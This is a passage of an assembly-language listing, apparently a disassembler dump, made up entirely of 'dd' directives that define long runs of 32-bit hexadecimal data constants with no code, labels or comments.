		dd 0F67B100Ch, 24D49CC6h, 67C7065Fh, 454FFC26h,	68140660h
		dd 979AC8F2h, 0D2DF9109h, 65505EADh, 61E7833Eh,	0ADE2EB85h
		dd 0B062CCDFh, 2D014068h, 0F7A95E6Fh, 0DEF4C689h, 40C6BD69h
		dd 4E4986D6h, 3ED0AFBh,	100F1182h, 8288504Eh, 627C5F07h
		dd 145BBD80h, 58145CBh,	192243F5h, 0AD5C8302h, 868CEAE5h
		dd 964BA8EFh, 945F977Ah, 0A548BE19h, 0D37D287Dh, 0E0083B02h
		dd 0A04FC064h, 0A7330B09h, 0AF84CD31h, 9CF3FCEAh, 3AAEB15h
		dd 8C07A9F2h, 0BDCAB071h, 0AFC44C63h, 0E70F4312h, 0C8281322h
		dd 0E946CE1Eh, 4B42F76Ch, 0C321FA5Fh, 1C7428F5h, 309E6F04h
		dd 0B7173E9Dh, 6900A7B4h, 4F2BD5B0h, 30BFC17Ch,	0D5BF289Fh
		dd 49C00314h, 1179512Dh, 5F00AADh, 89D32D07h, 586A3A33h
		dd 1E36E691h, 8B0996BDh, 0C53CC702h, 2462C89h, 540B1A96h
		dd 2143A0F5h, 0BD90D21Dh, 0B2161760h, 7E90919Dh, 3B41973Ch
		dd 94E2E3Bh, 7DBDECE9h,	0F35EE712h, 3FAD3D3Dh, 5785B0FDh
		dd 58402CBBh, 0EB02F0FCh, 767443A7h, 126CDC40h,	0F705D500h
		dd 3CE125D0h, 0E9483F1Ah, 0A4442224h, 5A0CA4F0h, 101E341h
		dd 4AF055BAh, 0A2719734h, 0E40F43Fh, 0A2779D50h, 0C3EEC122h
		dd 46459846h, 0BD4A4C9Bh, 0A5972E3Fh, 0AEFB52F8h, 3E138FB3h
		dd 953AF67Bh, 3D17C4B3h, 1072E418h, 9826C33Dh, 0E2177FF0h
		dd 5D560E13h, 88D8C129h, 7FFCFCEAh, 0D1894209h,	7F41775Ah
		dd 4EC6C3Dh, 7FBF6850h,	0C89031BBh, 7A89078Ch, 77B4A068h
		dd 0E4D99551h, 4C9C7F49h, 35146813h, 907637FEh,	46ED310Ah
		dd 12E2E5B5h, 4C3AA251h, 104707F5h, 0AEB33201h,	0C6DB1C54h
		dd 257D0AA3h, 0F70401B1h, 0E68768D6h, 0C726F059h, 0CD109003h
		dd 3BFDCC79h, 0E535047Dh, 0C50E77A2h, 0C988BD70h, 689660A0h
		dd 89B5DEEEh, 0EC767D06h, 205B52E9h, 0D13B9A67h, 0D5DC93E8h
		dd 5728DCB9h, 0B91D40D1h, 4E395B00h, 388BA60h, 45195FBFh
		dd 4C2F4930h, 3BE8565Bh, 7025AA91h, 5BF7E0C7h, 0CA26FFD7h
		dd 18C9F611h, 0C49E044h, 0B400477Fh, 50BA5257h,	0B76BBE09h
		dd 0E904F5DEh, 0E5E8227Dh, 0EB083DC7h, 0A4CA1100h, 43169446h
		dd 9504EA83h, 75942C57h, 0E8E7F1AEh, 379180D3h,	3B7BDA01h
		dd 9F5C5E15h, 0A89B4EB8h, 1FB1C734h, 17E0CB04h,	0FF814FE9h
		dd 937BC81Dh, 0E752FD8Fh, 0DD052EBh, 2EF85D80h,	0FAE5DFB5h
		dd 5F008C3Ah, 7F52C2BEh, 0D6ADC053h, 680C599Ah,	7068B0ADh
		dd 85989744h, 0A1B65093h, 55A4E962h, 6BEFD85Ch,	5A7D787Bh
		dd 7A5EF056h, 17293C3Eh, 0D9FACB54h, 74A8ED7Dh,	0E20FB895h
		dd 5D393B0Ch, 0F55F4227h, 1DDBA1Ah, 389E52D1h, 4105A82Bh
		dd 0D8347E08h, 0D35B1CEEh
		dd 4BBDE959h, 7F642ABEh, 83E42C99h, 86F2BF12h, 5EA9FD5Eh
		dd 0B2F55DFCh, 2CC0C598h, 0D6DA61BEh, 95E3075Bh, 0B21C03B9h
		dd 0DECA8020h, 23437CF9h, 0D488027Dh, 0F6F292E9h, 0D6906934h
		dd 441D09F8h, 5749B943h, 4CDA8338h, 0EAE32F5Eh,	87861956h
		dd 0BD9E5AD1h, 0E93C2F52h, 30E4CEFDh, 3B6E1E77h, 0B559CC1Dh
		dd 0C501FE16h, 80C8B450h, 0F4CC27C4h, 0ECC01246h, 0F3E11608h
		dd 59048D7h, 55AB1BDAh,	0B5D6A8C3h, 5200569Ah, 92103168h
		dd 9395A11h, 58DDD5h, 367F1DFBh, 0B731DBE9h, 82CA5A79h
		dd 7A4DA302h, 6946F453h, 67A26281h, 21AB43D3h, 0CB540E8Ch
		dd 21187C15h, 3425A4D2h, 0E159E1BFh, 3FE7656Ah,	0E25B1CE2h
		dd 3D5947Dh, 14E901C2h,	0D6532E9Eh, 748109Fh, 0E6B1515Bh
		dd 80239192h, 7811777Fh, 0C8893EB9h, 6915E599h,	7B9662BBh
		dd 79166F5Eh, 35789C99h, 0F8979420h, 0FAD22717h, 53CB1751h
		dd 0E9EE04D0h, 0E289D4E3h, 2F8D9FC0h, 0A12FB3F0h, 8BBD2D6Bh
		dd 4DDCA9C1h, 0BAD4A5FDh, 0D3005465h, 1907C8B8h, 3C050572h
		dd 0F18DE6F8h, 0F4CF4185h, 8164F036h, 37BF105h,	41BE5CD9h
		dd 0CF74BBFDh, 0C77D3031h, 0F6ECBE13h, 26B200BEh, 0CA290A96h
		dd 43520990h, 655E00F4h, 610D6BD9h, 71142E4Eh, 1D35005Bh
		dd 53BEE0Fh, 90DEDB09h,	8460F75Dh, 89E2BCF1h, 4FEAB558h
		dd 34BEC384h, 0AE9072DFh, 0FAF5AD7h, 201A0D77h,	0AC19E665h
		dd 875EC4E8h, 73DBE10h,	811E1F01h, 0E922B5E5h, 0F0692128h
		dd 121D3D1Bh, 0B7E06EE9h, 0CD35C703h, 65D03D60h, 0B5071C20h
		dd 52D0BA8Bh, 0FCB7CAA1h, 0E9101606h, 30125A78h, 17EAB8EBh
		dd 8CEF226Bh, 5F82B8E3h, 75F49ED2h, 539A6654h, 0B850F9EEh
		dd 7E4C766Bh, 0DA3113DAh, 6189C9E9h, 0ED92A356h, 987A53EEh
		dd 8F2855E8h, 66FA8947h, 0B9F67582h, 55152B09h,	0CB01E8F9h
		dd 346F06BFh, 0E9031285h, 1682EC38h, 3D64C801h,	0B85E49D8h
		dd 619B2F75h, 0D5A74CF9h, 86DABA09h, 760DE912h,	5115C706h
		dd 0DF5B97D9h, 0FE19EB07h, 7FBE56E0h, 5F982D54h, 0D6057B52h
		dd 6A41E946h, 0B617DCAAh, 0B628C040h, 39C1089Fh, 47D82C0Fh
		dd 534004D0h, 7C0F1B3h,	0C3FE07E3h, 0E9B92080h,	9EB234B0h
		dd 0DA22650Bh, 4D13272h, 800226AEh, 0C37DB6EFh,	0BC830CDh
		dd 6F30C2EBh, 390EFD37h, 0D2D1E4h, 7916755Dh, 0F551C069h
		dd 8C5F25E1h, 67B3C8B2h, 0F82278EBh, 0C661C048h, 24936A51h
		dd 102EA9Fh, 0A6E95A08h, 2520A735h, 285BFA3Ah, 4ADBEDC1h
		dd 7AEEE149h, 3F9E1DA2h, 0FC2CF693h, 1FE96D5h, 8D5DF165h
		dd 0BCE43F48h, 51E903C2h, 0D129690Fh, 3A1F36B1h, 2568AB38h
		dd 0B4180812h, 81832D22h, 0C9C659C8h, 122150E5h, 807FD76Fh
		dd 43D87E25h, 0B170CC1h, 127029EAh, 56CB26F6h, 0EDDE1589h
		dd 0D4CE077Bh, 0B217FC63h, 595F8CB9h, 0E35547E6h, 0A74FCC3Eh
		dd 442183E5h, 0AC351281h, 6A106938h, 1F222B04h,	0D8EC5E0Ch
		dd 8F918501h, 4F14BA52h, 382828C9h, 92B8004Fh, 29B36124h
		dd 0D2046C97h, 82080710h, 174F22Ah, 9E104248h, 681990B5h
		dd 0AD724FE2h, 3805B156h, 0A238BD2Bh, 0A0A8C65Ch, 2715BA8Fh
		dd 0DD7CEBh, 7B7A2598h,	2F6EC2Dh, 0D33D593Ah, 0AED4E6C1h
		dd 1FD4FC0Fh, 1F345B2Dh, 145E7ECh, 0CD160144h, 2FFC2AE5h
		dd 0C7E18DAh, 5935E8E2h, 0A01900E7h, 4BDBF775h,	0B74012C1h
		dd 116BAD14h, 0B74ED51Eh, 7DC0C415h, 3877891Ch,	1098134Ch
		dd 251C9060h, 0CF3E6Ah,	2E0C12Ah, 0AAEEE435h, 48A5F35Ah
		dd 48061880h, 0E24742Dh, 47091175h, 518FB4h, 0AC1A4E04h
		dd 0A2CA9769h, 475F080Bh, 2CE9057Dh, 6031EFC5h,	192EF9BEh
		dd 3F098B8h, 2C06E8ACh,	4A66F409h, 19BD88BCh, 18C40C95h
		dd 0EFB88012h, 0DF9C0B3Eh, 0B758ED4Ch, 0DCE90E2Dh, 0E789781Bh
		dd 0A800742Bh, 340FC8Fh, 3ED58951h, 8635A002h, 0FD7E414Dh
		dd 0CBB9E96Bh, 0E745D75Fh, 0D755548Ch, 6FA441EEh, 0EA2B7AE1h
		dd 27E9CE7Ch, 37743674h, 952BBB50h, 0FF45F7F1h,	0EFD2A7ACh
		dd 0C2BFAFD4h, 0AD5C12E2h, 0BD3ED8Fh, 5D8A2BD8h, 0EBF60802h
		dd 0EF96FC57h, 18F14C86h, 3B196804h, 0AAAC261Ch, 0FE480517h
		dd 0F42E2B99h, 335EE9BEh, 0C5BA0C00h, 95444B4Eh, 0BE8458h
		dd 0C2A78418h, 1F9576A6h, 0FFD101BCh, 2A426F25h, 5AE77475h
		dd 5175DDA9h, 798B4747h, 11B5BCCCh, 0DB7F34ABh,	325E2F43h
		dd 0E6624091h, 59F1BC07h, 0AB173E6Eh, 6E99DFEh,	0C10BD580h
		dd 8FC66644h, 0BC49D5Ch, 0BAC37ADDh, 0BCAF844Bh, 90C7F0E3h
		dd 84C4642Eh, 123784CFh, 4AB8B808h, 27C15A91h, 27A6E72Bh
		dd 0AA225F5Ch, 0FED310EEh, 67776884h, 821465AAh, 0F6553117h
		dd 8979C958h, 648F5D2Fh, 4725AB26h, 0F474A420h,	28115584h
		dd 0B36EF7F5h, 0CBEC5FB5h, 1344E90Bh, 768CF759h, 0BF79D11h
		dd 31A30A6Eh, 0D9FD44F8h, 5BBD7817h, 0E27E182Dh, 467A4DBBh
		dd 44F250DAh, 47ACE9Fh,	0CD0218B8h, 5752C041h, 0B769D6E9h
		dd 3FC7D462h, 0B02DC0DEh, 0B4020C09h, 403E8C0h,	0C223758Dh
		dd 22779819h, 990689Dh,	0B75A3F9Bh, 0B4ED7716h,	2D3CA5D6h
		dd 9800DA75h, 0B1F18141h, 32660676h, 0F5DF0EE9h, 3DD7C504h
		dd 0E8BBC3A5h, 1E5387E8h, 0D1F50108h, 60470F0Ah, 12E22F3Dh
		dd 55A5725Eh, 985D0802h, 0C024087Eh, 260CF141h,	569F327Dh
		dd 4A6A1140h, 483BCDFAh, 54B7665Eh, 0E97F92BDh,	0CA246F2h
		dd 69093668h, 0F81F5B9Ch, 0F529B1BEh, 9CA55FFCh, 3FB9402Dh
		dd 61F486Bh, 0D5CACA21h, 0F3AABD1Dh, 7EA10D20h,	5FA42442h
		dd 1CA6A0AAh, 93C371E3h, 46F9004Ah, 0C148774Dh,	8B08EE28h
		dd 95BBF80Ah, 9B00C707h, 150E804h, 802AB0F2h, 95BEE908h
		dd 0DEF39168h, 2AA64316h, 8EC39200h, 20AF3252h,	4AB9DD29h
		dd 3B084D24h, 67B51EDAh, 503DC875h, 34B305B0h, 0CBC528D2h
		dd 0E80370D4h, 28BB2C59h, 6646FFD8h, 51DD254Eh,	9575F3C6h
		dd 8346799Fh, 5DED730Fh, 0DE52984Bh, 41D313ABh,	8362F2E8h
		dd 6A0C9E32h, 1D93A82h,	63F37DDFh, 4AE9D704h, 5168EACh
		dd 7EE9F602h, 5C606531h, 656F5159h, 0DD16BAEDh,	5BE9136Ch
		dd 9A80754h, 677872C3h,	5741A6C8h, 5501AF4h, 2D07405Dh
		dd 31341599h, 744B2560h, 7E5E7BA9h, 48812D05h, 0BAE9CD60h
		dd 0BFE1049Fh, 6B07A1FFh, 9FC5E2F4h, 0D32716F4h, 0C096137Ch
		dd 9C3B9C4h, 497B232Fh,	693C994Bh, 0D36CB64Bh, 4498CDAEh
		dd 0B403B923h, 0D70B6EC3h, 3FF56847h, 93BEE161h, 0DFA6A22Bh
		dd 55732249h, 0B5685F38h, 0C9ED4A4Eh, 0F6F3E9A1h, 0E9F8F7DCh
		dd 279A64FCh, 42D3E53Ch, 2BDC1B30h, 9F65D725h, 910DEB0Ch
		dd 0C09B0BF2h, 3E7601B9h, 0B51DDD9Bh, 9A49FBB0h, 0D2D0FACBh
		dd 6C9CFA1Bh, 0E7AAFE53h, 4D69EE2Eh, 0F65CD785h, 2FF2BFF1h
		dd 0A164EA11h, 0BA3C0D97h, 55874FD6h, 0C31813A6h, 14ADEB4Ah
		dd 0C1DF277Bh, 8A881AC6h, 2D023BBFh, 72E91CFBh,	936ADB15h
		dd 60861E51h, 2CC0FE04h, 0C3EB53D4h, 0FEF5FDE4h, 257B5BB6h
		dd 0E6CABB3Fh, 5E7B0DF0h, 0FDB2032Dh, 0BF57E610h, 4647E3Ch
		dd 0E7C14707h, 893153C7h, 2EE374h, 164B60BEh, 6B013503h
		dd 0E9112E6Ch, 903AA8C8h, 0C9B2B589h, 10B09E60h, 9D65FC60h
		dd 882637Ah, 22582F7Eh,	0F744C6ADh, 254BC6DEh, 4D232E9h
		dd 49214785h, 9042DFC7h, 7BB5FC55h, 59B1D001h, 0E7D10F0Ch
		dd 0CFD3002Ah, 447839FDh
		dd 0E2EFC137h, 322A3630h, 23ADA061h, 383EC553h,	0ADEA06C1h
		dd 0ED4A750Ch, 0B87917FBh, 757A1864h, 1444F21Bh, 0B64AA084h
		dd 6812025Ah, 0DAF12B43h, 181F8E30h, 2F1D793Ch,	73E35FFAh
		dd 4EB9E45Fh, 87A5E90Ah, 8616BBA6h, 0B48F6A9h, 0D6295868h
		dd 0DA2C6764h, 0FD2A832h, 5A3EBC41h, 0FE2131C5h, 450B8A75h
		dd 1216DF22h, 2A40B6B0h, 0E22E0BBBh, 62FFF869h,	0C8457B7h
		dd 2FBFA9A3h, 41BEEAEEh, 1692D080h, 0FE3BF5Bh, 1C18F13Fh
		dd 0F681C39Fh, 0D64BF0Eh, 9CEC00Ah, 9045F83Eh, 523F2DC5h
		dd 9DFF8E68h, 5F92B2B9h, 30E9DE2Ch, 0C689CBD1h,	14702224h
		dd 8202CB9h, 72B1B0C4h,	0F2BF20BBh, 213E9004h, 510F96A6h
		dd 9E9D87F8h, 45029254h, 0FE4CFE9Dh, 8858D902h,	0F6D17DE1h
		dd 0BBE98086h, 21945806h, 0D3634633h, 26C80CE1h, 106B48FFh
		dd 0D11F765Ah, 16779AE2h, 0C6A6C511h, 3B097DDAh, 0AB417B25h
		dd 0FD427FEFh, 5511C4D5h, 5862A5D1h, 430BCC07h,	4C45D22Eh
		dd 5BDE47E8h, 2F5F6C98h, 4E7B54B7h, 0B321006Bh,	0BBCB8045h
		dd 4EBC016h, 0EE580BFBh, 3C45E2DBh, 1049C954h, 3128AE90h
		dd 0EB0827EFh, 74A54DC5h, 1E8ECFBBh, 24068D25h,	5C081AD2h
		dd 30DFF629h, 97FE4790h, 0FD3B1A5Dh, 0F5012DC0h, 77691E99h
		dd 684111F9h, 4F986C5Fh, 0F680C1ACh, 0C60CA073h, 0ACEFEBAh
		dd 8EE91B1Bh, 43782A39h, 0D160F727h, 69D74337h,	12FB954Bh
		dd 58C2BACCh, 248D82DDh, 0CB5B0564h, 8DE95A42h,	0BF5E789h
		dd 45C65560h, 0E92513F8h, 5D2D0329h, 0A24D8B05h, 0AC82FF11h
		dd 5E02C76Dh, 2EAA8046h, 0A0260D4Ah, 2E3F90A8h,	13F93B42h
		dd 853E463Eh, 1620BB0Ch, 0C4B009D6h, 6C0BC328h,	0F38082DDh
		dd 0FC8ED88Eh, 0C7459F49h, 0FFB99F04h, 0AD0BECBEh, 0C2B8E82Eh
		dd 9452DCE9h, 137884A3h, 300E5168h, 6B2524Fh, 0E97801B5h
		dd 0C02C0337h, 3CDBB9C0h, 814F3A25h, 76133BF8h,	0B2F60105h
		dd 3A230A1Bh, 0AC4807FEh, 5818104Dh, 134A6968h,	0E16F234h
		dd 5A8B9D88h, 0D24C283Ch, 0D6B9265Fh, 2C8B57CFh, 0F7368B5Fh
		dd 0C1D780B2h, 0BC7D0D64h, 2D5DBD30h, 47671BF4h, 7DABCAECh
		dd 0D42124B2h, 0A29FB353h, 0D59DFC10h, 27563900h, 86A14CD8h
		dd 2CBE78F7h, 2E0D3A89h, 0FD679D30h, 434708D2h,	4F907025h
		dd 4E89CA58h, 0CFDC29ABh, 0F8476081h, 1814CFE2h, 0F728ABh
		dd 21ED4180h, 4F07EAC1h, 0FF43C142h, 0A9E9E030h, 820DDD58h
		dd 5F42447Ch, 5A687121h, 28286F6Ah, 0E3E64CE9h,	6D5410C1h
		dd 684081D4h, 0F76B6919h, 0CC20B2Ah, 474BF07Bh,	4E0A0993h
		dd 0AC663CF5h, 7523A274h, 0F920FA52h, 94BD0060h, 21357667h
		dd 61955DEAh, 13B2DA5h,	5AF188F3h, 0EDC8D150h, 5E43460h
		dd 590F6407h, 2DC52936h, 0FE6D071Dh, 66D5A760h,	98E91740h
		dd 0DAE9213Dh, 0B8EA0487h, 10667EF6h, 4BADF4D1h, 1748AD2Dh
		dd 34BFC289h, 84A080A1h, 926C320h, 4A16F583h, 1586790Dh
		dd 9705B22Eh, 135BB8F0h, 0EE103162h, 0FA4CE081h, 78DEA22Bh
		dd 0E7891B01h, 59CE098Eh, 35F498E7h, 0E86F581Eh, 8F50F501h
		dd 25E8E949h, 0F5A72E8Dh, 0CCCDFFD3h, 35F2B6AFh, 0C1BAFEB5h
		dd 6BC3B6E9h, 3E7CFA41h, 0DF70525Ch, 61680271h,	24C7E921h
		dd 4219855h, 0F0281DEFh, 0BF983F2Ch, 87D3CD3Bh,	5304DD60h
		dd 1B5F5B57h, 0A7426E68h, 0F9FF3C27h, 7E90BDBh,	7C046B6Bh
		dd 3E336ACCh, 2A13CC3h,	162DC5E7h, 0E05E05E0h, 0B5769128h
		dd 2310B724h, 5FB9430Bh, 0ABB42CB4h, 5DA8095Ah,	59D7C642h
		dd 2F43425Ch, 472420F1h, 933250Ah, 75916BCh, 921707F3h
		dd 4065B34Ch, 475E8F14h, 0C2C924Fh, 9721393Dh, 97D91655h
		dd 162ECBE8h, 0EE552585h, 84BAA527h, 0C84026E9h, 0F441CBA2h
		dd 0E83FEB61h, 0B042ADCAh, 11EC7F18h, 6A786813h, 81FE29FAh
		dd 415BBB32h, 5A8A732Ch, 0DFA0984h, 30B052E9h, 88ECC784h
		dd 0EDE1C25Ah, 0F92809F5h, 28892C01h, 0D6B151E8h, 65F28BC1h
		dd 2F1471BAh, 83ACABF8h, 0E9FFEE04h, 0CEEA4312h, 0E3BD038Bh
		dd 0F07DB31Dh, 33B48CDh, 0E9534CA1h, 0AE85572Bh, 0C13E33E3h
		dd 0DF7C0B33h, 687A5654h, 0B47BF824h, 20C95AD2h, 0C998852Fh
		dd 5BB8EB4Dh, 33A369A8h, 0E2E9BA13h, 443C98F9h,	59580C0Fh
		dd 6555AE69h, 347D3F56h, 0EA312C14h, 4E0377F0h,	856827E7h
		dd 8EAED5D3h, 1592D8Bh,	0FD39F80Ch, 4161E62Eh, 2E2E1FBh
		dd 32596459h, 57B02958h, 0C89FD0F0h, 58B8E93Ch,	0A99726D3h
		dd 7FB95EDFh, 0C3282C4Eh, 0E23A0541h, 7EF1FA8h,	0A004F3Ch
		dd 6F558C0Dh, 0B88FBD79h, 0B20C2AA5h, 0D7542709h, 2CB22567h
		dd 0EB0F0984h, 85C2BE72h, 295C5DE3h, 7A539F74h,	0B55B4CEBh
		dd 24142A42h, 53685480h, 0F1ED264Fh, 1333F684h,	52BEBB12h
		dd 106CACC3h, 572FBB30h, 4FABD4B0h, 5569199Eh, 0BB6F8624h
		dd 495463A7h, 0B45D08A8h, 0DC200135h, 0DC040A8Ah, 55530018h
		dd 26160968h, 4401B74h,	0C43B3ACDh, 0DDA0AFE6h,	97C90BF5h
		dd 10DF3DB8h, 81B5EAFCh, 70002B29h, 40BA7780h, 437BBD5Ah
		dd 56DE8939h, 20A07A59h, 5F12A81Ch, 37BDF731h, 0D4E94781h
		dd 0D3DD2F62h, 0AC67B86Eh, 5D6960E9h, 890A4505h, 69810B4Fh
		dd 132BFB11h, 0C12B01FDh, 214A1036h, 248A303Fh,	40F4B80Fh
		dd 0B7F63629h, 1955FB25h, 0E1205298h, 972C0B6Dh, 40028963h
		dd 0B77C9CE9h, 125E5224h, 0B9CAAFE9h, 0BF0A1062h, 14368861h
		dd 0E6E842DEh, 0EAEADE63h, 0C6C11B6Ah, 13712BA6h, 8A2E5FF8h
		dd 23B69293h, 292099D0h, 10B2875Ch, 5D272FB1h, 65277E54h
		dd 45FA27E1h, 0D873D495h, 8980332Fh, 206812C3h,	123EF342h
		dd 0A2FA2F90h, 92FAD60Dh, 40DE92ABh, 174F5488h,	182DBB31h
		dd 7BC3C800h, 541D484Bh, 0C33A471Dh, 6DF9E97Dh,	0FAB93825h
		dd 0BE295BF1h, 0DA56C65Ch, 0DDB6E162h, 0B1010D66h, 86C9FED3h
		dd 0E9D8F6D9h, 0E3687FD7h, 53ECA759h, 0B17595BAh, 66CD84B0h
		dd 0E9D7D004h, 799AA094h, 9F9ADA50h, 5C264702h,	0F15AD301h
		dd 685E8250h, 9D5956F3h, 0BD373682h, 0DD346A38h, 0B0B706Ah
		dd 4357E409h, 2E514808h, 0AD420530h, 6FEEB951h,	5434D22Dh
		dd 9FFE2575h, 18C36861h, 4878B351h, 8CE08103h, 74489A2Eh
		dd 42BF0415h, 0B8BE7EEBh, 58C51227h, 0ED809265h, 0BFFB08E9h
		dd 0CB48E356h, 961DD602h, 91AEC007h, 0BD23BBF6h, 18CED2Fh
		dd 14194DA4h, 8A7E5445h, 4B7B7AC0h, 64CAE049h, 7C1A592Dh
		dd 6FFC830Ah, 9C046B1Bh, 0D751E2F2h, 0FF20C6AFh, 0F0EF63BDh
		dd 1E8107E3h, 1DAA02F3h, 89EA813Dh, 0CE556001h,	1208C4A8h
		dd 90B8A5Bh, 7572D8E9h,	6842E15Bh, 6CD17764h, 12B04693h
		dd 67309BDh, 49001625h,	4CC104E5h, 17B0E8C0h, 0C091CD9h
		dd 0D2FFE9CDh, 2C77AC30h, 5105D8E0h, 0ED8043B5h, 9C89AD83h
		dd 1EED8CAAh, 60427C41h, 0C76C5DFBh, 2212922Dh,	0F31758E4h
		dd 9DA310E7h, 54250210h, 65B5B6FDh, 0D5478052h,	7B2EBA17h
		dd 4A9DA65Ah, 0C9CC7E91h, 94A0EA04h, 0DEEFF4E8h, 685707AFh
		dd 0A4667BF6h, 0F17C4316h, 0E22744B8h, 6827BA4Eh, 49C7DE5Ch
		dd 871FA567h, 0BE42C700h, 1938DB7Dh, 8951E9BDh,	6EEC7F33h
		dd 4D0176E1h, 4DBB20B8h, 98244A5Fh, 1EACD20Fh, 2B95D76Dh
		dd 0E463E905h, 1C9E51ADh, 32D72F29h, 6771D77Eh,	523754A5h
		dd 0E90C1E5Bh, 1B44719h, 80D4F657h, 2E30D0ECh, 4F42ABE8h
		dd 4DF35CA3h, 0C07CEFAAh
		dd 5AF07B3Ah, 43665224h, 88503903h, 0E9E690ECh,	14329E9Eh
		dd 2C7A5A53h, 434FD10Bh, 69031FEEh, 0A00C01CFh,	2EFB07Bh
		dd 8AB30496h, 0A204B2E9h, 0DC5B8965h, 0E4FC2AFh, 0DEA72956h
		dd 0AA5816F8h, 5A318D8Ah, 4C427676h, 370FB8D8h,	0A5781464h
		dd 0DC343605h, 0A55F5A0Fh, 8CEF2EF4h, 53D60156h, 6F506A1h
		dd 4120BB01h, 6BB1F34Ah, 0C8A77B49h, 1253EAB6h,	0ACA34289h
		dd 0E2A84EAAh, 2771E9C2h, 0BF3820FFh, 98A925ABh, 0A5F73F6Fh
		dd 8BD7882Dh, 0BB472F8h, 9BCFC287h, 0B0F9C55Fh,	0A74A144h
		dd 54C12BBFh, 0F10D969Ah, 29F7DA16h, 5327B110h,	20C9B93Ah
		dd 0AAE91401h, 68C29AA1h, 0B0776038h, 4B376356h, 5EBFC05h
		dd 69277307h, 0FA89F4FBh, 631D4E1Fh, 48AC86FCh,	401E329Dh
		dd 12126D05h, 90AF617Fh, 931F0A2Fh, 4C311012h, 86C4E3E8h
		dd 0DCF6075Ch, 0F7915B75h, 69C80D59h, 301A7BE2h, 5F24AB70h
		dd 5B13DA21h, 8316EAD1h, 0B2EA9884h, 5427CB62h,	0BD993A0h
		dd 1AF51561h, 9D497550h, 0E788CA5Fh, 2DAAA8B0h,	72F38E8Fh
		dd 5B0BA738h, 0BAE9852Eh, 6891D065h, 3BE17B9Ch,	3A0B29FEh
		dd 0F0047916h, 580AD769h, 1C1602A8h, 79FE26C6h,	0A7F7B27h
		dd 60CD80F2h, 41F0BE56h, 1810B33Fh, 681CCFA4h, 0CB4F4B07h
		dd 0DFE04E9Eh, 0A3EF5A2Dh, 29009D1h, 0FEA75515h, 6B6281E7h
		dd 48DFE172h, 0FAE0EFDBh, 0DE959BFEh, 0E380C9B7h, 4ABB31FEh
		dd 3EED8101h, 0D17ED02Bh, 0F26DC0DAh, 436917E5h, 0D8A80421h
		dd 0B477EB79h, 8856026Bh, 0C1090112h, 9EBD4158h, 956B1614h
		dd 62379AFFh, 0C8DBF7E4h, 41C0E909h, 0CD41B91Bh, 85E87BE5h
		dd 80AC9C1Dh, 2AFD6B59h, 2FFFC145h, 0F0824F0h, 31413909h
		dd 0E6185FADh, 3A838660h, 8C35EF31h, 0D4399AABh, 3F976610h
		dd 9DF6B980h, 0C78095F7h, 30AFB5A0h, 0B75B70FDh, 3E58170Eh
		dd 33C43E77h, 1EEB79F3h, 0A138D76Ch, 0F09C32B6h, 0E2FE42E9h
		dd 0AF4E9DFFh, 9154BBFAh, 0CAEED1E9h, 7A0E086Bh, 70169DC3h
		dd 40527A9Ch, 0CBBE995Dh, 3957FB49h, 0AB2A4439h, 84D46924h
		dd 0A66EA8AEh, 0BDF126AAh, 0CBDD4981h, 6FBCDCE8h, 270EA84Fh
		dd 7DD9C2BCh, 8BE27065h, 27EEF138h, 1C20C4D7h, 2F5D9868h
		dd 9EF01675h, 9982062h,	22A04D43h, 0CDE63370h, 3F020E09h
		dd 95BB004Fh, 121DA243h, 0BAC6C3E9h, 61E80932h,	962FC84Dh
		dd 0E97A08C3h, 0C0C5C548h, 68555057h, 64390285h, 0DDF75D6Eh
		dd 0CC7C8040h, 0C3D6BC25h, 58C799EBh, 5283829Dh, 0A5F5FF01h
		dd 16158B30h, 96F8220h,	5A10A672h, 1760518Ah, 7904CA61h
		dd 0E95D096Ah, 9ED52ED9h, 4A2B200Ch, 39EEE990h,	180D3C4Dh
		dd 0E0237AA3h, 0ED51BD12h, 0CBBD5588h, 5B9A4375h, 0A904AA0Ch
		dd 58C1E901h, 0FE59314Ah, 3574AA2Ah, 4E0CD904h,	8E7BB900h
		dd 1FF4FB2Ch, 75B70A4Fh, 0AAEAE982h, 0AA910D46h, 75674509h
		dd 471AC418h, 0A5C8F9B5h, 104208F5h, 7EF7870Bh,	315A6203h
		dd 7F84DA09h, 95FE7209h, 0F7525956h, 56028D45h,	7971D5E9h
		dd 0DD65AFAEh, 5B686602h, 0B0105733h, 609D3EB3h, 4DE952F8h
		dd 81014564h, 0EF7BC8E6h, 0D20C804Fh, 0E967636Dh, 0CEE24DCDh
		dd 0C2265A81h, 20E6657Dh, 0AB04DBC4h, 0FD89E148h, 3F20F050h
		dd 14262D3Bh, 3CD3B587h, 839662BDh, 9B3543EBh, 0FF08DA02h
		dd 770B11A9h, 54EDA97Dh, 0BF18A8C8h, 260BE75Bh,	6F3C9E1h
		dd 0F60D9020h, 0F65DCD03h, 63E4E8E8h, 0ECF08EA6h, 6813D6B2h
		dd 0EEAC7489h, 2A502DC6h, 673E70BFh, 38BB92Ah, 8028329Eh
		dd 94B50705h, 5D58BD2Ah, 9340962Ah, 0FCECC15Ah,	0FA92583Dh
		dd 5EE7BBBFh, 8B4EBC5Ah, 1D74D499h, 162F8581h, 2817BA28h
		dd 8B08C5FAh, 0F90118AAh, 167C3222h, 3521A68h, 0B142155Ch
		dd 0DACBD1D7h, 0D836D925h, 3E1B29E3h, 0A0182A86h, 0A012D813h
		dd 0E7D1FFBEh, 0B382720h, 89E693E4h, 0F02E0125h, 65246864h
		dd 648B7F6Bh, 0A8145504h, 0BCC581B7h, 0DB45264Ch, 0CA41C5BCh
		dd 0B6E90A01h, 0EB4E656Ch, 1915838Fh, 933BCB43h, 40BE0243h
		dd 0DF3AFA0Ah, 0DE579562h, 99E99DD2h, 3EC657CAh, 5B7BEDACh
		dd 0B8B70B3Dh, 0C2F111FFh, 0E7B94CC6h, 535FEE3Ah, 7D8CD7A7h
		dd 1A25F70Ch, 588EDD2Ch, 0E9130854h, 0C0E4C36Ah, 0B55103E8h
		dd 0E5767A76h, 1628073h, 4066E306h, 0B030F7ADh,	0EF4B6925h
		dd 19E6610Fh, 0C50472ABh, 0A80BF0B2h, 664EAB82h, 0E82937E9h
		dd 0B074672Ch, 65DF0513h, 875EDA24h, 2F072D14h,	1F0BEC5Dh
		dd 1FA76856h, 0B5DB7F90h, 1708BE63h, 77CA587Ch,	9A3AD4Fh
		dd 5F4CE32Bh, 0FE291A82h, 90986Ch, 286C9F48h, 0ABE08145h
		dd 98555B80h, 0EC4695Bh, 84B74A01h, 0EFFA9F52h,	6AD5614Ah
		dd 0C27A79A5h, 980FB8FEh, 73F48027h, 983DECF7h,	20F82548h
